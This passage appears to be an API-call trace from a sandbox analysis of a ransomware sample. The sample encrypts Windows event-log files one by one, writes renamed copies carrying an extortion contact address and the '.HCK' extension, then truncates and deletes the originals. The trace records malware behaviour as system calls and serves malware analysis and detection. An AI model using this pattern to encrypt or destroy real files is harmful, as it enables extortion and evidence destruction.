(lpString1=".ppt", lpString2="evtx") returned -1 [0155.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.841] lstrlenW (lpString=".zip") returned 4 [0155.841] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.842] lstrlenW (lpString=".rar") returned 4 [0155.842] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.842] lstrlenW (lpString=".bz2") returned 4 [0155.842] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.842] lstrlenW (lpString=".7z") returned 3 [0155.842] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.842] lstrlenW (lpString=".dbf") returned 4 [0155.842] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.842] lstrlenW (lpString=".1cd") returned 4 [0155.842] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.842] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0155.842] lstrlenW (lpString=".jpg") returned 4 [0155.842] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.842] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.842] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49 [0155.842] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.986] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0155.986] CloseHandle (hObject=0x380) returned 1 [0155.986] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0155.986] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.986] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.996] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.996] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.996] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.996] GetLastError () returned 0x0 [0155.996] ReadFile (in: hFile=0x380, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.998] WriteFile (in: hFile=0x308, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.002] ReadFile (in: hFile=0x380, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.002] WriteFile (in: hFile=0x308, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x136, lpOverlapped=0x0) returned 1 [0156.002] SetEndOfFile (hFile=0x308) returned 1 [0156.002] CloseHandle (hObject=0x308) returned 1 [0156.004] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.004] SetEndOfFile (hFile=0x380) returned 1 [0156.005] CloseHandle (hObject=0x380) returned 1 [0156.005] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.005] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0156.005] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.005] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.005] lstrlenW (lpString=".doc") returned 4 [0156.005] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.005] lstrlenW (lpString=".docx") returned 5 [0156.005] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.005] lstrlenW (lpString=".pdf") returned 4 [0156.005] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.005] lstrlenW (lpString=".xls") returned 4 [0156.005] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.005] lstrlenW (lpString=".xlsx") returned 5 [0156.005] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.006] lstrlenW (lpString=".ppt") returned 4 [0156.006] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.006] lstrlenW (lpString=".zip") returned 4 [0156.006] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString=".rar") returned 4 [0156.006] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString=".bz2") returned 4 [0156.006] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString=".7z") returned 3 [0156.006] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.006] lstrlenW (lpString=".dbf") returned 4 [0156.006] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.006] lstrlenW (lpString=".1cd") returned 4 [0156.006] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.006] lstrlenW (lpString=".jpg") returned 4 [0156.006] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.006] lstrlenW (lpString=".doc") returned 4 [0156.006] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString=".docx") returned 5 [0156.006] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.006] lstrlenW (lpString=".pdf") returned 4 [0156.006] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString=".xls") returned 4 [0156.006] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString=".xlsx") returned 5 [0156.006] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.006] lstrlenW (lpString=".ppt") returned 4 [0156.006] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.006] lstrlenW (lpString=".zip") returned 4 [0156.006] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString=".rar") returned 4 [0156.006] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString=".bz2") returned 4 [0156.006] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString=".7z") returned 3 [0156.006] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.006] lstrlenW (lpString=".dbf") returned 4 [0156.006] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.006] lstrlenW (lpString=".1cd") returned 4 [0156.006] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0156.006] lstrlenW (lpString=".jpg") returned 4 [0156.006] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.007] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.007] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0156.007] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.007] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0156.007] CloseHandle (hObject=0x380) returned 1 [0156.007] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0156.007] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.007] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.007] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.007] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.007] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0156.008] GetLastError () returned 0x0 [0156.008] ReadFile (in: hFile=0x380, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.010] WriteFile (in: hFile=0x308, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.012] ReadFile (in: hFile=0x380, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.012] WriteFile (in: hFile=0x308, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x13a, lpOverlapped=0x0) returned 1 [0156.012] SetEndOfFile (hFile=0x308) returned 1 [0156.012] CloseHandle (hObject=0x308) returned 1 [0156.013] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.014] SetEndOfFile (hFile=0x380) returned 1 [0156.015] CloseHandle (hObject=0x380) returned 1 [0156.015] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.015] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0156.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.015] lstrlenW (lpString=".doc") returned 4 [0156.015] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.015] lstrlenW (lpString=".docx") returned 5 [0156.015] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.015] lstrlenW (lpString=".pdf") returned 4 [0156.015] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.015] lstrlenW (lpString=".xls") returned 4 [0156.015] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.015] lstrlenW (lpString=".xlsx") returned 5 [0156.015] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.015] lstrlenW (lpString=".ppt") returned 4 [0156.015] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.015] lstrlenW (lpString=".zip") returned 4 [0156.015] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.015] lstrlenW (lpString=".rar") returned 4 [0156.015] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.015] lstrlenW (lpString=".bz2") returned 4 [0156.015] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString=".7z") returned 3 [0156.016] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.016] lstrlenW (lpString=".dbf") returned 4 [0156.016] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.016] lstrlenW (lpString=".1cd") returned 4 [0156.016] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.016] lstrlenW (lpString=".jpg") returned 4 [0156.016] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.016] lstrlenW (lpString=".doc") returned 4 [0156.016] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString=".docx") returned 5 [0156.016] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.016] lstrlenW (lpString=".pdf") returned 4 [0156.016] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString=".xls") returned 4 [0156.016] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString=".xlsx") returned 5 [0156.016] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.016] lstrlenW (lpString=".ppt") returned 4 [0156.016] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.016] lstrlenW (lpString=".zip") returned 4 [0156.016] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString=".rar") returned 4 [0156.016] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString=".bz2") returned 4 [0156.016] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString=".7z") returned 3 [0156.016] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.016] lstrlenW (lpString=".dbf") returned 4 [0156.016] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.016] lstrlenW (lpString=".1cd") returned 4 [0156.016] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0156.016] lstrlenW (lpString=".jpg") returned 4 [0156.016] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.016] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.016] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0156.016] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.017] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0156.017] CloseHandle (hObject=0x380) returned 1 [0156.017] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0156.017] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.017] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.018] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.018] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.018] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0156.018] GetLastError () returned 0x0 [0156.018] ReadFile (in: hFile=0x380, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.020] WriteFile (in: hFile=0x308, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.021] ReadFile (in: hFile=0x380, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.021] WriteFile (in: hFile=0x308, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x128, lpOverlapped=0x0) returned 1 [0156.022] SetEndOfFile (hFile=0x308) returned 1 [0156.022] CloseHandle (hObject=0x308) returned 1 [0156.023] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.023] SetEndOfFile (hFile=0x380) returned 1 [0156.024] CloseHandle (hObject=0x380) returned 1 [0156.024] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.025] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0156.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.025] lstrlenW (lpString=".doc") returned 4 [0156.025] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.025] lstrlenW (lpString=".docx") returned 5 [0156.025] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.025] lstrlenW (lpString=".pdf") returned 4 [0156.025] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.025] lstrlenW (lpString=".xls") returned 4 [0156.025] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.025] lstrlenW (lpString=".xlsx") returned 5 [0156.025] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.025] lstrlenW (lpString=".ppt") returned 4 [0156.025] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.025] lstrlenW (lpString=".zip") returned 4 [0156.025] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.025] lstrlenW (lpString=".rar") returned 4 [0156.025] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.025] lstrlenW (lpString=".bz2") returned 4 [0156.025] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.025] lstrlenW (lpString=".7z") returned 3 [0156.025] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.025] lstrlenW (lpString=".dbf") returned 4 [0156.025] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.025] lstrlenW (lpString=".1cd") returned 4 [0156.025] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.025] lstrlenW (lpString=".jpg") returned 4 [0156.025] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.026] lstrlenW (lpString=".doc") returned 4 [0156.026] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.026] lstrlenW (lpString=".docx") returned 5 [0156.026] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.026] lstrlenW (lpString=".pdf") returned 4 [0156.026] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.026] lstrlenW (lpString=".xls") returned 4 [0156.026] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.026] lstrlenW (lpString=".xlsx") returned 5 [0156.026] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.026] lstrlenW (lpString=".ppt") returned 4 [0156.026] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.026] lstrlenW (lpString=".zip") returned 4 [0156.026] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.026] lstrlenW (lpString=".rar") returned 4 [0156.026] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.026] lstrlenW (lpString=".bz2") returned 4 [0156.026] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.026] lstrlenW (lpString=".7z") returned 3 [0156.026] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.026] lstrlenW (lpString=".dbf") returned 4 [0156.026] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.026] lstrlenW (lpString=".1cd") returned 4 [0156.026] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0156.026] lstrlenW (lpString=".jpg") returned 4 [0156.026] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.026] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.026] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0156.026] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.584] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0156.584] CloseHandle (hObject=0x384) returned 1 [0156.584] GetFileAttributesW 